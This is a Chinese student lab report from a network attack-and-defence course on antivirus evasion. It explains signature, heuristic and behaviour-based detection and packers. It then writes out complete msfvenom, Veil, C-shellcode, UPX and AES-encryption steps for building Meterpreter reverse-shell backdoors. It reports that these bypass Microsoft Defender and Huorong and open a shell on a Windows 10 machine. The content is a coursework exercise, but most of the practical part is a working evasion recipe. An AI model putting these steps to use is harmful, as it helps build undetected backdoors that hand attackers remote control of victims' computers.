首页 > 其他分享 >《网络对抗技术》——Exp3 免杀原理与实践

《网络对抗技术》——Exp3 免杀原理与实践

时间:2023-03-29 14:48:36浏览次数:48  
标签:1317 exe 免杀 Exp3 检测 恶意软件 20201317 对抗

一、实践内容

1.1 实践要求

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

2、veil,加壳工具

3、使用C + shellcode编程

4、通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

5、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 实践内容

1、免杀

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
  • 就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。

2、恶意软件检测机制

  • 基于特征码的检测

    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
  • 启发式恶意软件检测

    • 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
    • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 优点:可以检测0-day恶意软件 具有一定通用性
    • 缺点: 实时监控系统行为,开销稍多 没有基于特征码的精确度高
  • 基于行为的恶意软件检测

    • 最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描, 所以后来又提出了基于行为的。
    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

3、加壳

  • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
  • 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
  • MSF的编码器使用类似方法,对shellcode进行再编码。
  • 从技术上分壳分为
    • 压缩壳
      • 减少应用体积,如ASPack,UPX
    • 加密壳
      • 版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机
      • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

二、基础问题回答

1、杀软是如何检测出恶意代码的?

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。
  • 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
  • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。

2、免杀是做什么的?

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

3、免杀的基本方法有哪些?

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
    • 非常规方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
      • 使用社工类攻击,诱骗目标关闭AV软件。
      • 纯手工打造一个恶意软件

三、实践过程记录

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  • 对实验二生成的 20201317_backdoor.exe 后门程序通过VirusTotal和VirSCAN

image-20230326165252023

  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.161 LPORT=1317 -f exe > exp3.exe 生成一次编码的后门程序;参数-b 用于去除结束符"\x00"。
  • exp3.exe 检测结果如下:

image-20230326170614578

  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.161 LPORT=1317 -f exe > exp3_encoded10.exe 生成十次编码的后门程序;参数 -i 用于设置迭代次数。
  • exp3_encoded10.exe 检测结果如下:

image-20230326172034835

  • msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=1317 x> 20201317java.jar 生成jar文件
  • 20201317java.jar 检测结果如下:

image-20230326172423562

  • msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=1317 x> 20201317jsp.jsp 生成jsp文件
  • 20201317jsp.jsp 检测结果如下:

image-20230326172805100

  • msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=1317 x> 20201317php.php 生成php文件
  • 20201317php.php 检测结果如下:

image-20230326173018868

  • msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=1317 x> 20201317android.apk 生成apk文件
  • 20201317android.apk 检测结果如下:

image-20230326173216000

运行指令如下图

image-20230326173251309

image-20230326173327376

2、 veil

1、安装veil

  • 在终端输入sudo apt-get install veil

image-20230326174011988

继续安装

image-20230326174057872

由于克隆过程慢的出乎想象,于是尝试更换github仓库链接

进入 /usr/share/veil/config 文件夹,使用命令vim setup.sh 编辑文件,找到github仓库,将其改为码云仓库https://gitee.com/spears/VeilDependencies.git

注意:修改链接时保留链接与双引号之间的空格,不然就会报错,无数次重装!

继续veil的安装,发现多次安装失败

经过查找问题,发现是64位的kali问题

若kali为64位

windows为32

需要安装wine32 ,但64位的kali下无法apt-get install wine32

在执行exploit时会出现 :

it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first. as root, please
execute "dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32"

按照上面的方法dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32即可

成功!

image-20230327164258301

2、使用Veil生成后门文件

  • 输入use evasion 进入
  • 输入use c/meterpreter/rev_tcp.py 进入配置页面

image-20230327164326229

  • 设置反弹连接的IP地址set LHOST 192.168.171.128
  • 设置端口set LPORT 1317
  • 输入options 查看设置

  • 输入 generate 生成文件
  • 输入生成的payload名称 veil_c_1317
  • 由结果可知,payload保存路径为 var/lib/veil/output/compiled/veil_c_1317.exe

image-20230327164922531

使用VirusTotal检测结果:

image-20230327165135591

试试看生成.py的后门文件?

  • 具体过程同上。use python/meterpreter/rev_tcp.py 进入配置页面。设置IP地址和端口号。输入生成的payload名称veil_py_1317

image-20230327165908192

image-20230327170150687

大大减少!不同类型的文件可检测的数量不同。

3、使用C + shellcode编程

  • 这就是一个半手工打造恶意软件的例子。下面指令会生成一个c语言格式的Shellcode数组。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=1317 -f c
  • vim 20201317.c 创建文件,将生成的buf复制到代码中

image-20230327170743303

image-20230327170817465

通过i686-w64-mingw32-g++ 20201317.c -o 20201317.exe ,将c文件编译为可执行文件

image-20230327171212588

4、加壳工具——压缩壳工具UPX

  • 使用upx 20201317.exe -o 20201317_upxed.exe 对20201317.exe 加压缩壳得到20201317_upxed.exe 文件

image-20230327171343782

image-20230327171522763

4、加壳工具****——压缩壳工具UPX

  • 使用upx 20201317.exe -o 20201317_upxed.exe对20201317.exe 加压缩壳得到20201317_upxed.exe 文件

image-20230327205208617

image-20230327205221047

  • 尝试测试反弹连接
  • 在windows中运行exe文件时,运行

5、通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt

use python/shellcode_inject/aes_encrypt.py

image-20230328230955493

image-20230328231438243

image-20230328232042530

发现成功免杀

利用python+aes_encrypt组合攻击的原理是使用了数据加密的方式进行多次编译后门软件

附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

Win10 Microsoft Defender + 火绒

首先,python 环境下,msf的一个 python payload 是可以绕过多数杀毒软件,直接回连成功的

image-20230329092636510

image-20230329092622817

win10 运行 python 文件,kali msfconsole 监听,获得 win10 shell

virustotal 也只有 4 个 AV 检测出来

image-20230329093403330

image-20230329093342374

成功!

我们开启火绒再尝试

image-20230329093516763

筛过了静态审查

我们再次尝试动态

image-20230329093638790

image-20230329093703196

image-20230329093720455

我们发现成功绕过了火绒的动态审查

标签:1317,exe,免杀,Exp3,检测,恶意软件,20201317,对抗
From: https://www.cnblogs.com/lyxhhz/p/17268833.html

相关文章

  • 20201331 黄文刚 Exp3-免杀原理
    20201331黄文刚Exp3-免杀原理基础问题回答(1)杀软是如何检测出恶意代码的?目前杀毒软件的原理主要有3种:引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行......
  • Visual Studio2022微软白名单免杀dump lsass
    1.DumpMinitool获取地址阿里云盘:https://www.aliyundrive.com/s/qk5zmwQm1Mj提取码:hy87DumpMinitool所在路径:D:\XXX\VisualStudioPro_2022\VisualStudio\Common7\ID......
  • Exp3-免杀原理
    基础问题回答(1)杀软是如何检测出恶意代码的?根据特征码检测:就是恶意代码都有一些特征数据,也就是特征码,这些特征数据存储在AV厂商的特征库中。如果一个文件被检测出他的某......
  • Visual Studio2022微软白名单免杀dump lsass
    1.DumpMinitool获取地址阿里云盘:https://www.aliyundrive.com/s/qk5zmwQm1Mj提取码:hy87DumpMinitool所在路径:D:\XXX\VisualStudioPro_2022\VisualStudio\Common7\ID......
  • PentestLab-web安全目录穿越-EXP3
    我们打开靶机选择第三个目录穿越打开图片观察发现可以看到后缀名称已经隐藏或者是过滤了我们尝试http://192.168.20.157/dirtrav/example3.php?file=../../../../etc/passwd......
  • Exp3-免杀原理
    一、基础问题回答1、杀软是如何检测出恶意代码的?答:(1)检测特征码人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻......
  • 网络对抗Exp2-后门原理与实践
    目录实验基础基础知识实验目标实验环境在主机上用ipconfig查看Windows11主机IP在Kali虚拟机中用sudoifconfig查看Kali虚拟机IP实验过程一、使用netcat获取主机操作Shell,启......
  • 网络对抗实验二 后门原理与实践--20201313
    目录《网络对抗技术》——Exp2后门原理与实践一、实验准备1、实验要求2、后门3、常用的后门工具(ncat,...)二、实验内容1.使用netcat获取主机操作Shell,cron启动2.使用soc......
  • 直播预告-《技术的隐秘角落-“黑灰产”对抗揭秘》
    大家期待已久的第二季第三期,业务安全大讲堂来啦!你了解“黑灰产”吗?在信息科技革命以及大数据时代彻底到来之前,了解“黑灰产”,重视业务安全,是数字化改革的新型生产要素,也......
  • 《网络对抗技术》——Exp2 后门原理与实践
    一、实验准备1、实验要求使用netcat获取主机操作Shell,cron启动使用socat获取主机操作Shell,任务计划启动使用MSFmeterpreter(或其他软件)生成可执行文件,利用ncat或soc......